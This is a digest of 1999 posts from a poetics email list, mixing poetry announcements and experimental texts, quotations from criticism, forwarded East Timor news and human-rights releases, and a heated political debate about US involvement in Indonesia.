Both the Ministry of Defence and Foreign Office defend the training given as 'constructive engagement'. A spokesman for the MoD said: 'It is a way of ensuring professionalism in foreign armies. It encourages higher standards, good governance and greater respect for human rights.'

The Foreign Office points out that many of the Indonesian officers on non-military courses are studying subjects such as international law and human rights.

Last summer seven members of Kopassus finished a post-graduate course in defence studies at Hull University. The Ministry of Defence arranged the deal after liaising with General Prabowo. Although the course was initiated before the general election, it started after Labour's victory. George Robertson, then Defence Secretary, was happy for it to continue. Despite Prabowo's links to atrocities in East Timor, Robertson once described him as 'enlightened'.

The Foreign Secretary, Robin Cook, meanwhile, says in today's Observer that 'there is a mopping-up operation to be done in Britain on the myths that have mushroomed among commentators who have only discovered the plight of East Timor in the last fortnight'. He denies that Britain has 'armed Indonesia to the teeth', or provided weapons to the militias, and says that Britain has not given fresh subsidies to buy Hawk trainers.

Amnesty International's East Timor country specialist, Deborah Sklar, traces the regime's 'over-reliance on thuggish military operations' as being due to the demands of the foreign investment community and even from the World Bank.

She cites a blueprint called The East Asian Miracle, written by US Treasury Secretary Lawrence Summers, in which he urges governments to 'insulate' themselves from 'pluralist pressures' and to suppress trade unions. This, she says, became a primary Kopassus role during the years of training by the United States.

'If the US,' says Sklar, 'has supplied to the Indonesians equipment that has been concerned in the perpetration of human rights
abuses, then that is an outrage.'

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324. Robert Majzels
New Book by Erin Mouré
Mon 20 Sep 1999

Moveable Type Books of Toronto announces its very first publication, under the imprint a Moveable Text:

Pillage Laud
by
Erin Mouré

"To say anything valid about sex, love, thought, the body, "identity," in this era requires immense dislocatory practices."

"A poem," says Fernando Pessoa, "is an idea made emotion,
communicated to others by means of a rhythm."

Pillage Laud is a major long poem that selects or pillages from pages of computer-generated sentences to produce "lesbo sex poems," by "pulling through" or "inciting" certain found vocabularies.

The basic compositional unit of Pillage Laud is not the word, but the "sentence," randomly generated and pillaged manually ‹ then arranged, altered. Given. Idea, emotion, rhythm.

Every lexicon allows infinite permutations, most of which the mind¹s strictures reject, or can¹t think of. Pillage Laud takes the limited lexicon and syntactical set of MacProse (a sentence-generating computer program created by Charles O. Hartman) to build rhythms and to grasp what the mind refuses.

On the "micro" level, the individual sentences are immediately breathtaking and mysterious. Devoid of cliché, replete with dazzling subterranean connections, they open up meaning and sensation.

On the "macro" level, Mouré assembles lines to produce a larger reading through successive, repetitive contextualizations. Gradually characters arise: an I, a you, a herŠ. a triangle of agony, grief and love that won¹t stop even when the border of thought and circumstance is uncertain.

In Pillage Laud, Erin Mouré has taken the mad risk of surrendering intention and authorship to language; the result is a thwack of utopian pleasure through which both she and the reader emerge forever restructured and entwined.

****

Erin Mouré is the author of seven collections of poetry and a Canadian Governor General¹s Award winner. She lives and works in Montréal, Québec. Her most recent book: _A Frame of the Book_ aka _The Frame of a Book_ (Anansi - Toronto and Sun & Moon Press - LA 1999).

****

From Pillage Laud:

She advanced.
A degree: every belt¹s hutch in the thought narratives. The
agreement (information) was metabolism along force.

Had you died? To twist is land. To unbend advances. Tension is pulling her.
Your silence so substantial a valour.

The revolution had uncorked my rhythm, and affection was augmenting.
Certain stresses cured beds;
the equation of living must listen.

Flesh progressed, but her system was a station.
Your gesture starts to assemble some living beam.

Shall you permit every vandal¹s fist trilling your bowl? I travel. She is so unclad an opportunity, your prince clearly flows.

We were those cheap dilemmas.
These galleries crawl: so intense a purpose.

The narrative tracks you. Struggles will exercise unbent until the identity villages can cry out, or close.

vandal tissue curl plaster smell body bent

Pillage Laud is 8" x 9", perfect-bound, 99 pages plus one unbound inserted page. The entire book including cover is digitally printed directly from the electronic page-layout files; no films or plates are used. The process of representation continues to dissolveŠ. nowhere is there a picture, the book¹s status as a true copy of a true original is in doubt: one does not know if the copy one holds is one of hundreds, or unique.

****

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Montréal (Québec) H2L 4C4 Canada

email: [redacted]

--
Robert Majzels
[redacted]

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325. david bromige
Twenty Years Ago Today
Mon 20 Sep 1999

These years, under the gun (I speak somewhat metaphorically) of global competition, it is hard enough to keep one's place on the page of the present, with one upshot being the erasure of our history. If anyone would be interested in contributing such at however irregular intervals, please do. Here's today's anniversary :

20 September, 1979

Ron Silliman collaborating with Judith Barry as the culmination of a six-week, once-a-week series held at The Farm, SF, and called "Verbal Eyes," joint workings between poets and visual artists.

--Ron, *if you have time* , can you tell us something about this? What has become of Judith Barry, do you know?

David.

↑ Index

326. Alan Sondheim
Metastasis
Mon 20 Sep 1999

-

Metastasis

Tha faallng th$t flash h$s laft ma, th$t bpnas $ra hald by phpnamas np lpngar sppkan, th$t tha Symbpl by tha Ha$rth h$s ch$rrad:If I can't write, I won't be able to wait for you, O Existence. I am afraid of opposites, each and everywhere.:W$ltlng: I $m frld pf lpslng my $blllty tp wrlta. I $m frld pf npn-axlstanca.:dissolved forever: W$ltlng: I $m frld pf lpslng my $blllty tp wrlta. I $m frld pf npn-axlstanca. transforms Your Tha faallng th$t flash h$s laft ma, th$t bpnas $ra hald by phpnamas np lp- ngar sppkan, th$t tha Symbpl by tha Ha$rth h$s ch$rrad on Burning Creek... Ah, Living with Levels and Blues!thraa hhndrad calls ln tha bpy tast tast: two hundred twenty bonesin the girl test test test:pna hhndrad twanty bpnas ln tha bpy tast tast:eight hundred cells in the girl test test test: Devour me eight hundred cells in the girl test test test Brought Forth through thraa hhndrad calls ln tha bpy tast tast!

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327. **charssmith**
Re: Imagining Language
Mon 20 Sep 1999

Thames & Hudson published a third edition in 1997. Pretty sure it's still in print.

--cs

<< does any one know ofwhere i
can find copies of phillip's _Humument_? >>

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328. **Arielle C. Greenberg**
Buffalo gals (or guys)?
Mon 20 Sep 1999

Syracuse must really be getting to me, because on my recent trip to Buffalo to see Susan Howe read (so incredible! so refreshing to see scholarship so gracefully wedded to personal poetics!) Buffalo itself seemed a sliver of heaven. Great bookstores, good places to eat, unbelievable library, etc., etc. I'm really interested in going beyond the UB web site to find out more about the poetics program, so if there's anyone out there currently getting their PhD there, or who has their PhD from that program, and who would be willing to answer my myriad of questions, would you please backchannel me?

Thanks,
Arielle
[redacted]

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

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329. Patrick Herron

Plot against E Timor/UN lets Indonesian troops stay/1975 murder of journalists

Mon 20 Sep 1999

South China Morning Post
Thursday, September 16, 1999

Plot to crush E Timor

ANNEMARIE EVANS in Macau

The political cleansing of East Timor was planned as early as February, one of the militia leaders present at a meeting which hatched the deadly plot has revealed.

Tomas Goncalves, 54, the former head of the 400-strong PPPI (Peace Force and Defender of Integration) militia said the killings had been agreed at a meeting on February 16 in the East Timorese capital, Dili. He said the talks were organised by the head of the SGI, the secret intelligence organisation of the (Indonesian) military's Kopassus special forces.

The head, Lieutenant-Colonel Yahyat Sudrajad, called for the killing of pro-independence movement leaders, their children and even their grandchildren, Mr Goncalves said. Not a single member of their families was to be left alive, the colonel told the meeting.

Mr Goncalves said that also present were the heads of other militias covering the 12 regions of East Timor, including Eurico Guterres, of the Aitarak militia, and Joao Tavares of Besi Merah Putih.

According to Mr Goncalves, the colonel said many soldiers had died in East Timor and that it would be difficult for troops to leave the enclave because if they did, they would lose face. They were determined not to abandon their supporters in the territory.

The meeting came after President Bacharuddin Habibie announced on January 27 that he might consider independence for East Timor.

On February 11, a day after resistance leader Xanana Gusmao was moved from jail to house arrest, Mr Habibie said East Timor's future could be decided by the end of the year. Mr Goncalves said: "The agenda for the meeting included funding and arming of the militias, food and other supplies."

His revelations leave no doubt about the connection between Jakarta and the militias, or about the direct line of command.

Mr Goncalves said Colonel Sudrajad had received orders before the meeting from regional military commander Colonel Tono Suratman, who was answerable to General Adam Daimiri in command of Bali, East Timor and West Timor. General Daimiri in turn answered to General Zacky Anwar in Jakarta, himself the former head of Kabia, Indonesia's national intelligence body.

The meeting set the hour for the start of the political cleansing as midnight on May 1. However, on February 17, the following day, the militias began to kill throughout East Timor, launching attacks in Maliana, Atabai, Kailako and elsewhere. The survivors fled to churches and priests' houses for protection.

On March 26, Governor of East Timor Abilio Soares gave orders at a meeting, again attended by Mr Goncalves, that the priests and nuns should be killed.

Mr Goncalves said: "I could not stand it. I told them I have no problem fighting the [pro-independence] guerillas, but as a Catholic I could not kill priests and nuns and attack the Church."

Because of his stand, Mr Goncalves came under suspicion. He fled Jakarta on April 18 and is now in Macau.

Violence worsened dramatically in East Timor after the result of the UN-organised ballot was announced on September 4, showing support for independence.

Hundreds, possibly thousands of people were killed by the militias, encouraged or helped by troops.

Government and military spokesmen were unavailable for comment last night.

** End of text from cdp:reg.easttimor **

********** This material came from the Institute for Global Communications (IGC), a non-profit, unionized, politically progressive Internet services provider. For more information, send a message to [redacted] (you will get back an automatic reply), or visit their web site at http://www.igc.org/ . IGC is a project of the Tides Center, a 501(c)(3) charitable organization.
****

15 September 1999

FOR IMMEDIATE RELEASE

ALL INDONESIAN TROOPS MUST BE WITHDRAWN FROM EAST TIMOR AS PEACE-KEEPING FORCE MOVES IN

TAPOL has warned the UN Secretary-General that the UN's failure to insist on the removal of Indonesian troops from East Timor as part of the rules of engagement of the international Peace-Keeping Force for East Timor will mean a repeat of the disastrous decision by the UN to allow Indonesian troops to remain in the territory during the months leading up to the referendum on 30 August.

In a letter to Kofi Annan sent hours before the Security Council adopted a resolution mandating an multilateral force to enter East Timor within the next few days, TAPOL's director, Carmel Budiardjo warned that the continued presence of the troops would destroy the confidence of the population in the peace-keepers and could be fatal to its operations. There are estimated to be 20,000 Indonesian troops still stationed in East Timor, including territorial troops and special forces.

The 15,000 territorial troops are based in every town and village and are the eyes and ears of the military intelligence. Their continued presence cannot be tolerated.

Budiardjo said: 'It is inconceivable, particularly after what has happened in East Timor in the past few days , that the hundreds of thousands of displaced East Timorese would want to return to their villages or towns if these soldiers remain'.

In its letter to Kofi Annan, TAPOL stressed that it was critically important for all the special troops sent to East Timor in the past few weeks to be withdrawn immediately. They include special air force commandos, marines and special troops from the army's strategic command, KOSTRAD, whose primary task has been to take charge of the forced relocation of East Timorese by land, sea and air to West Timor and to other parts of Indonesia. There are also many hundreds, perhaps thousands, of Kopassus crack troops who have for months been mingling with the militias in their murderous operations against the population.

Paragraph 5 of today's Security Council resolution provides for 'Indonesia's continuing responsibility' for security as stipulated in the UN-sponsored 5 May accords. These accords made no provision for Indonesian soldiers to leave East Timor and they could now remain there for several months more.

TAPOL also said it would be an intolerable anomaly if martial law which was declared by the Indonesian authorities on 7 September was to remain in place. Martial law vests a range of special powers in the hands of the Indonesian army.

Describing the structure of the territorial army, TAPOL said that all troops stationed in villages and sub-district towns should be immediately withdrawn to barracks for their early removal from East Timor. 'The possibility that these soldiers will harass the population is very real and their continued presence could seriously undermine the effectiveness of any security measures undertaken by the Peace-Keeping Force,' the letter warned.

For more information or interviews, contact: Carmel Budiardjo 0[redacted] day or evening, or email [redacted]

****

Former Timorese police officer testifies that Indonesian army intentionally killed TV newsmen in East Timor in October 1975

A former East Timorese police officer in Balibo, East Timor has told TAPOL that the Indonesian military authorities knew that five TV journalists from Australia were present in Balibo at the time they attacked the village and were intent on killing them.

His testimony confirms the conclusions reached by an inquiry undertaken by the Australian Section of the International Commission of Jurists and published earlier this week by the Sydney Morning Herald that there was a 'deliberate intention on the part of the (Indonesian) military force which set out from nearby Batugade to kill the journalists in Balibo'. The five journalists had gone to Balibo to verify reports that the Indonesian army was conducting incursions across the border into East Timor. The five men, two Australians, two Britons and a New Zealander, were killed in Balibo on 16 October 1975.

Manuel dos Santos who now lives in exile in Portugal, was sub-chief of police and head of immigration in Balibo from December 1974 until August 1975 when he fled across the border to Atambua, an Indonesian town in West Timor. He said: 'Two or three days before the attack on Balibo, the Indonesians had a list of eight people they wanted to kill in Balibo (including) the five newsmen.'

He said that Fretilin who were in control of East Timor at the time had broadcast the fact that the five newsmen were near the border alerting the Indonesians to their presence and their intentions to disclose what was happening along the border.

Mr dos Santos was interviewed by Tom Sherman, a senior Australian official who undertook an investigation into the killings in 1996, at the request of the then foreign minister Gareth Evans, but none of his testimony was used in the Sherman Report.

The latest evidence published this week in Australia refutes Indonesian claims, upheld by the Australian and British governments, that the newsmen were

killed in crossfire. The ICJ report says that three senior Indonesian officers who were responsible for the events in Balibo, including Lt-General Yunus Yosfiah who is now Minister of Information in the Habibie government, should be brought before an inquiry.

Pressure is now growing on the British government to initiate an inquiry into the deaths of the two Britons, Brian Peters (cameraman) and Malcolm Rennie (reporter), who had gone to East Timor for Australia's Channel 9.

Note to editors: Manuel dos Santos can be contacted for interviews through Sergio Duarte (phone: 0[redacted]), who
interviewed him in Lisbon on TAPOL's behalf.

TAPOL The Indonesia Human Rights Campaign
111 Northwood Road
Thornton Heath
Surrey
CR7 8HW, UK

courtesy of Patrick ("pinko commie bastard") Herron

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330. Thomas Bell
Re: Objectivist Nexus - Discount Offer
Mon 20 Sep 1999

With apologies - the following quotes ('small pieces') are undigested. They were gathered with a view to doing a review or response to the book. They only relate to part of what is there for one of several poets. Posted here for info for list members:

The Objectivist Nexus, edited by Rachel Blau DuPlessis and Peter Quartermain, Tuscaloosa, University of Alabama Press, 1999.

"[Objectivism's] character may be simply described as the arrangement, into one apprehended unit, of minor units of sincerity - in other words, the resolving of words and their ideation into structure." Zukofsky, Louis. "Sincerity and Objectivication with Special Reference to the Work of Charles Reznikioff." _Poetry_ 37, 5 (February, 1931): 272-85.

"[Sincerity] involves insistence on the surface of the poem as concerned primarily with direct acts of naming as signs of the poet's immediate engagement in the areas of experience made present by conceiving the act of writing as a mode of attention. Sincerity involves refusing the temptations of closure - both

closure as fixed form and closure as writing in the service of idea, doctrine, or abstract aesthetic ideal." p. 33

of Williams: "writing....can be conceived less as a vehicle for imposing thoughts on the world than as a process of perception by composition." p. 33

"All along I've had the sense that the structure of the sentence closes off the little words. That's where the mysteries are, in the little words." George Oppen, "Poetry and politics: A conversation with George and Mary Oppen." With Burton Hatlen and Tom Mandel. In Hatlen, B., _George Oppen_, pp. 23 - 50.

"For Oppen, poetry is a form of thinking, and the serial poem allows him a different, a more extended and flexible form of thinking than is possible in the lyric. As John Taggart puts it, 'the series permits any number of variations without forcing new beginnings and without losing sight of the object.' It enables Oppen '_to think actively in his poetry_' ('Deep Jewels', _Ironwood 26_, Fall, 1985: 159 - 68). Conte proposes a valuable contrast between the discontinuity, incompleteness, and 'accumulation' of serial form and the impulse toward 'encompassment, summation' of the modernist epic, with its underlying 'organic theory of continuity and development.'"

"'Intensity of vision implies not only clear rendition of the image but also moral insight and an emotional response: 'The virtue of the mind/ Is that//which causes/To see' (Oppen, Collected Poems 87) , as he writes in 'Guest room.' Elsewhere in the interview from which his comments on _Discrete Series_ derive, Oppen uses an ethical criterion to explain a formal feature of the book, saying that its disjointed structure results from his perceiving and writing in isolated 'moments of conviction.' The term 'conviction' implies what most of Oppen's work makes clear, that he sees his poetry as an effort to formulate an ethic for living. In 'Blood from the Stone' he asks, 'What do we believe/To live with?' and answers 'all/That verse attempts' (collected Poems 31). He feels that he can formulate that ethic only in 'moments of conviction' - that conviction is so fragile and fleeting as to be available only in moments. For Oppen, however, every moment is charged with the potential material for poetry. At any given m9oment, to put it simply, there is a lot goring on to write about. Hence Oppen speaks of 'the moment's//Populace and "The light, the volume/Of the moment.' The richness and the value of this material - of _The Materials_, to use one of Oppen's book titles - is, I take it, what oppen means he is convinced _of_ in his moments of conviction." 90

In the context of explicating Oppen's sense of the imagist moment and his effort to weld those moments into larger poetic structures, his well known gloss on the title _Discrete Series_ deserves repeating: 'A discrete series is a series of terms each of which is empirically derived, each one of which is empirically true...The poems are a series yet each is separate.' In this comment Oppen

stresses not the cumulative effect of the 'terms' or poems in his discrete series but their separate, self-contained quality. The construction of meaning involves forging or finding relationships among ideas and things; the very gesture of putting fragments of language into a series invites us to connect them in some way. At the same time, 'meanig' remained something more sought after 5than achieved for a skeptic like Oppen, and something momentary: 'meaning's//instant.' 'meaning/in the instant.' He uses in _Discrete Series_ the least 'constructed' form of connection possible - seriality, or, in his own words, 'Successive/Happenings.' Further, he defies traditional notions of progression or climax: 'Not by growth/But the/Paper, turned, contains/This entire volume.' 91

"Oppen suggests that our daily experience is not of abstractions like 'the sea' and 'humanity' but of individual waves and humans. 92

"Whether, as the intensity of seeing increases, one's distance from Them the people, does not also increase." 95

"We may fall back on a secondary meaning, his [Oppen's] sense of writing in a society in which the connections, explanations, and stories had been corrupted, distorted, mystified, and inevitably turned into the crude, masked force of ideology. The only escape available to a writer, the only sanity, lay in the struggle

'to redeem
Fragments and fragmentary
Histories in the towns and the temperate streets
(Oppen, G.,Seascape_ 34).'" Eric Homberger,
"Communists and Objectivists," in _The Objectivist Nexus_, edited by
Rachel Blau DuPlessis and Peter Quartermain, Tuscaloosa, University of
Alabama Press, 1999.

Hank Lazer wrote:
>
> Announcing the latest volume in the series Modern and
> Contemporary Poetics, edited by Charles Bernstein and Hank
> Lazer
>
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//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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331. herr c.
[theremin music] a storyspace e-journal
Mon 20 Sep 1999

Dear All,

This is a request from 2 beats off of nowhere. [theremin music] is a journal for hypertextual works composed in storyspace currently in production of its first issue. We were wondering if there were any Storyspace authors out there who would want to submit to it? We can offer only exposure, the guarantee that all rights will remain solely with the author and the backing of Eastgate Systems as a sponsor. The preferred format is of the "readers" (SSreader, Pagereader, Easyreader) but we are accepting plain (or perhaps is unfettered more apropos?) SS documents as well. Anyone interested can please send pieces on disk (critical, creative, or points therein) to:

Herr Colin G. Hough-Trapp
Vassar College #2092
Poughkeepsie, NY 12604-2092

Please forward this to any interested parties you know.

the thereministers,

Michael Stutzman
Daniel Pereira
Herr Colin G. Hough-Trapp

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

[theremin music] hypertext artworks for storyspace

-michael stutzman {[redacted]}
daniel pereira {[redacted]}
herr colin g. hough-trapp {[redacted]}

"I wanted to be as certain of invisible things
as I was that seven and three are ten"

-Saint Augustine

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

332. Lowther, John
backchannel violence
Mon 20 Sep 1999

---

i hear a lot about the viciousness of backchannel'd email pertaining to this list and i wd appreciate getting some vicious backchannel myself, now i know that i'm not really giving you what you need to get started which is the sense that i disagree with you about something or that i hold opinions which you think are, at best, wrong-headed ---- this puts me in a tricky spot, while i know that i have these beliefs and contrary ideas about things ----- it's very difficult to know where to start ----- as such i'm forced to simply list a few things which i'm generally in favor of assuming that someone will find them offensive (please don't hold back)

: reason and/or rationality (whichever makes yr blood pressure surge the most) : trying to understand what people are talking about (imagine this as me asking a question utterly dependant on my limited and questionable point of view) : writing poems that're "about" something " writing poems that're not "about" anything : considering the consequences of self-contradiction in self and others (perhaps this cd be scripted with much yelling and imagined as asserted about you and held onto in spite of yr quoting of whitman and emerson on the subject) : asking questions (call this rhetoric or even bullying and assume that the answers i'm after i intend to trick you into)

and while i don't wish to disrespect the tone and approach that is set forth in that list document we all get and which i actually do see as useful for list participants generally i'd like to add a final statement that i'm uncertain of in any particular instance but which i'm sure i cd be pushed to utter given the appropriate emails from you or someone else out there, "i'm right and yr wrong and do yrself a favor and fuck off, ok?"

give it yr all ----- cathart ----- let it all out

)L

[$12 per 100 words, checks payable to John Lowther a mailing address will be automatically sent to you upon receipt of yr backchannel and please, if you wish to be further incensed note in a bracket and i will set about specifically attacking you]

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333. **Stephen Ellis**
Re: Grenier :that:
Mon 20 Sep 1999

There are twnety issues of :that: v. II, no. 1 - a transcription of a talk by Bob Grenier, given in Franconia, NH in 1993. 16 pp., color repros of recent Grener work front and back. $10 ea. Orders by mail only, tho email enquiries for further info., etc., okay.
Stephen Ellis
23 Mitton Street
Portland, ME 04102

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334. **Joan Houlihan**
Re: I can't believe it!!!
Mon 20 Sep 1999

Mr. Brady,

Your detailed and thoughtful response deserves my attention, but I'm afraid I'm limited in my ability to respond in kind. You clearly have much more historical information to bring to the topic than I do, and you also have much more time to devote to your responses than I do. So please forgive me if I can only make a few more statements re: your main premise and respond directly to only a couple of selected points from your mail.

First, in re: to your main premise; i.e.: That while the US is not wholly responsible for the currrent atrocities in East Timor, that other countries such as Australia, Great Britain, Japan, and even some US corporate interests that are, while headquartered mainly in the US, largely independent of any real national governance, all share the responsibility, that "those atrocities could not have happened without U.S.involvement - that such involvement was, in brief, a necessary rather than a sufficient condition."

My response to this is to ask: what was the *objective* of the US "involvement" in Indonesia? Was it something other than selling arms? If the objective was to sell arms, which I believe it was, then it's true that we could say selling arms to Indonesia in the first place provided the means for the atrocities--but if we say this, we can say that for every place the US has sold arms that has later (days? months/ years?) broken out in a war we have "caused" that war. Isn't it possible that the objective of selling arms is to make money--that the rationale for selling

them is that if we don't someone else will? Now, it's true that one can draw moral implications from this selling of arms--and I think we should. I think the US should LET someone else sell arms, give up that dominant "market share" because only then will we be able to address any human rights issues from some moral ground--and be heeded.

This leads to your statement:

And even if we agree that humans as individuals have a certain predilection for evil, we still have to explain why in some cases resources are marshalled to allow that predilection its full "expression," and where those resources come from.

As I say above, I think the "explanation" as to why "resources are marshalled..etc." is a commercial one. The fact that the resources come from the arms dealer of the world, the US, is a fact open to moral implication for many. If we step out of that business, we've effectively stepped out of the immorality spotlight.

Re:
I thought we were having an argument.

I thought we were trying to determine the sense and truth of Mr. Neff's statements.

Re:
Apparently I was abridging someone's freedom.

Apparently *I* was expecting the list to address the statements made, not construct theories out of whole cloth and stretch that cloth over any apparent contradictions.

Re: So our differing political perspectives lead us to disagree. But in the elaboration of that disagreement, your efforts to attenuate the space of public discourse by casting argument as domination are wholly unworthy, not only of the weight of the argument itself, but even of the "liberal" traditions you bring to it.

I don't know what this means. It sounds kind indignant though, so I hope you're not offended. Also, I don't know why the word liberal has quotes--denoting irony or direct quote?

Again, I wish I had more time to address some of your other points. Thanks for replying.

Regards,

Joan

> *From: Taylor Brady <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*

To: [redacted]
Subject: Re: I can't believe it!!!
Date: Thu, 16 Sep 1999 14:24:36 -0700

Ms. Houlihan,

I'm aware that this will break my resolve to respond no more, but there's at least one fairly serious misrepresentation of the record and one fairly well-implied personal attack in this. Both, I think, merit an answer.

First, the misrepresentation. Mr. Neff's point has not been, to date, "simply the suggestion that the US government (and whatever else we conceive that entity to be,it is still a collection of people with limitations) may not be wholly responsible for what's happening in East Timor." Nor has my point been that the US _is_ solely culpable. Ample mention has been made of the role of the Indonesian military, Japan, Australia. More might be said about Great Britain, and the corporate interests that are, while headquartered mainly in the US, largely independent of any real national governance. For evidence of Mr. Neff's real "point", I attach the following quote from his opening missive on this thread:

"I'm listening. Perhaps you can educate me, flow chart me, graph me, time line me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or Chuck Rob or whoever in any conspiratorial setting, ignited and guided the genocidal gene that compels large groups of people to willfully set fires to other large groups of people.

Until you do, I'm not writing anyone."

What emerges from this line of argument is 1) a denial of ANY U.S. role (a far cry from denying full responsibility); and 2) a denial of the effectivity of any U.S. action (pressure on elected and unelected officials to stop pursuing some particular policy or other) in the present situation. One remembers that the post to which he responded was a call for protest and petition. In effect, what he is doing in the above quote is denying that the US government is the proper target for any such protest, as well as denying that such a protest could have any effect. My claim was, rather, that those atrocities could not have happened without U.S. involvement - that such involvement was, in brief, a necessary rather than

a
sufficient condition. And for my part, I've never claimed that the US held sole responsibility for
atrocities in East Timor over the past twenty-five years. The Indonesian regime since Suharto's rise to power
has been a creature of the US military and intelligence "community." This history is well-documented and available for the perusal of skeptical parties. (Unless one takes seriously the desperate ideological retreat into "empiricist" metaphysics - do you really want to claim, in an E-MAIL correspondence, that you only believe in what's before your eyes?). For recent evidence of this dependent attachment, witness the Habibie government's quick decision to allow international troops in as soon as Clinton's rather weakly-worded "temporary suspension" of aid was announced.

In other words, in reply to Mr. Neff's most recent questioning whether "dictators and police squads and fanatics forgo hostilities as soon as the UN wags a finger at them," I would point out that Indonesia has always (at least since '65) done exactly that when it's been a question of the _US_ doing the wagging. Indonesia as currently ruled is a client state of the US,
Great Britain, and Japan, pure and simple. And despite Mr. Neff's ideological scare tactics in introducing the "world's policeman" threat, this client relationship exists in such a form that, for long-term changes to become effective, what's probably most needed is a cessation of US involvement, rather than a new "commitment of troops" or some such. Our support - precisely - of police tactics up to this point has been the very problem. A lot could be accomplished if our government would simply stop - permanently - doing the criminal things it's been doing in that region. In fact, it would be best for all concerned if any international force sent in for the short term to stop the killings included _no_ US, British, or Australian troops. That this is unlikely to happen is further evidence, to me, that whatever steps are currently being taken are more by way of protecting the bankability of an investment than a commitment to national self-determination and political freedoms.

Of course, groups of people have always killed other groups of people. And groups of people have always resisted and spoken out - that's part of what, in my sense of a humanly-liveable world, one understands by the word "history." It's a "made place," to bring in Robert Duncan for a moment. People can act to make it differently, and this despite the red-baiting invective of Mr. Neff's latest. I readily grant that such atrocities have happened under all kinds of conditions and in all kinds of places. My question is, by the same sort of "Occam's Razor" method proposed by Mr. Neff, whether we might be a bit concerned about the statistical preponderance of US investment capital, weapons, and military advisors at the scene of such atrocities during the last fifty years - whether in fact we might examine the verifiable historical record, rather than raise the spectre of some sort of genetic predisposition to murder, and attempt to

account for the reasons why the US government has tended to be, in the post-war period "a collection of individuals" whose "limitations" include a pronounced taste for military dictatorship in the so-called Third World. Yes, other people (in this case Indonesians and conscript Timorese) do the killing. One of the privileges of capital is that it affords you the opportunity to contract out such unpleasant "work." And even if we agree that humans as individuals have a certain predilection for evil, we still have to explain why in some cases resources are marshalled to allow that predilection its full "expression," and where those resources come from.

My second concern in reading your posting is the accusation of "intolerance"
hurled against those who have disagreed with Mr. Neff - an accusation made personal by the address of that posting to me. Let me state simply that it angers and saddens me to see disagreement labeled thus as intolerance. I thought we were having an argument. Apparently I was abridging someone's freedom.

You identify yourself as a "liberal" - and that might well be the root of our disagreement on the geopolitical side of things. I've come to believe strongly that American liberalism is a thoroughly inadequate response, not only to the problems of international capital and its involvement in the crushing of independence movements, but even to the day-to-day "domestic"So our differing political perspectives lead us to
disagree. But in the elaboration of that disagreement, your efforts to attenuate the space of public discourse by casting argument as domination are wholly unworthy, not only of the weight of the argument itself, but even
of the "liberal" traditions you bring to it.
political concerns we all face as citizens, of whatever civic entity in which we participate.

Taylor Brady

P.S. A final response to a message just in, this one from Mr. Neff, containing word of a different sort of intolerance:

"As far as accepting on face value what conspiracy theorists say relative to
blaming America for the many years of pogrom-like rages and methodical brutality, that proves impossible, for given the level of fanaticism as evidenced by backchannel communications to me laced with scathing insults and generally embittered ego mania (e.g., I'm a lazy ass idiot, ugly mouthed, an embarassment, neanderthal, and equal to a state dept hack)--and all erupting on me in quite sudden and uncalled for fashion-one cannot help

but conclude that like true zealots, these maze-brained individuals will only seek out and report on those sources of information most likely to confirm their viewpoint."

For the record, I have never participated in any back-channel communication with Mr. Neff. I have no desire to do so, and, while I understand the urge that might have prompted some of the e-mails he alleges, it's hardly a fair tactic - if anyone is listening, I'd urge people to lay off. For Mr. Neff, I'd simply point out that you'll have to disarticulate your critique from your sense of those who disagree with you as "true zealots, these maze-brained individuals," since that description is founded on the evidence of behavior in which at least one of "us" - and a fairly vocal one - has consistently refused to participate.

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]
On Behalf Of Joan Houlihan
Sent: Wednesday, September 15, 1999 4:44 PM
To: [redacted]
Subject: Re: I can't believe it!!!

Taylor,

Of all the responses to Mike Neff's e-mail, yours seem to be the best examples of a logic constructed partly on the idea that because events occur together in time, the events are somehow linked causally, and partly on the idea that events which you do not personally witness, or have any special knowledge of, are nonetheless events that you can interpret not only correctly, but also "righteously"--that is, you are able to divine the motivations and moral construction of all those involved, from the beginning of the forced annexation of East Timor to its bloody fight for independence.

*It's quite amazing to me, a liberal, to see the kind of reaction generated by a clearly written, well-reasoned message (Neff's). What has created this firestorm? Simply the suggestion that the US government (and whatever else we conceive that entity to be,it is still a collection of people with limitations) may not be wholly responsible for what's happening in East Timor. I don't see that Mike Neff was disputing any historical facts, or events leading up to what's happening there--only that he was questioning the idea that these successive events *had* to be linked to either a kind of evil intentionality, or an immoral turning away by the US government. He*

was
instead, and rightly I think, proposing the idea that deeper, and even
random, forces are also at work in these situations--not only, but also.
That we need to consider the constant recurrence of group hatreds,
killings,
the human prediliciton for wiping each other out. Nowhere was he suggesting
*that arms were *not* sold, that US interests were *not* pursued, or that*
the
US often gets behind what turn out to be (or always were) rotten
leaders/causes--sometimes in the interest of avoiding worse leaders/causes,
or more likely, for simple economic or ideologic reasons.

Now that I've seen what comes back from this "radical" idea that the US
government may not be the God we can blame, I'm astonished not only by the
list's intolerance, but also by the realization that so many liberals have
given up their ability to analyze and respond to a clear idea objectively,
for the more comfortable idea that there's always clearly someone to
blame--if not God, then the government.

Joan

From: Taylor Brady <[redacted]>
Reply-To: UB Poetics discussion group <[redacted]>
To: [redacted]
Subject: Re: I can't believe it!!!
Date: Tue, 14 Sep 1999 09:53:14 -0700

A few points:

1) Kissinger's "visit" was considerably more instrumental than the
"chat-and-tea" image might otherwise conjure one to believe. It was
rather,
the U.S. State Department's imprimatur and guarantee of military
assistance
to a regime embarked on a series of "policy initiatives" which included,
most notably, a) the slaughter and forced relocation of much of its own
peasantry, labor leaders and movement members, intellectuals, etc., in
the
name of a defense against communism; and b) the invasion and annexation
of
Timor, resulting in a brutal occupation which left nearly a quarter of a
million dead. This, while the U.S. (among others - recently, the role of
Japan and Australia would also bear some scrutiny) continued (and
continues,
notwithstanding Clinton's half-assed "retraction of assistance") to
provide
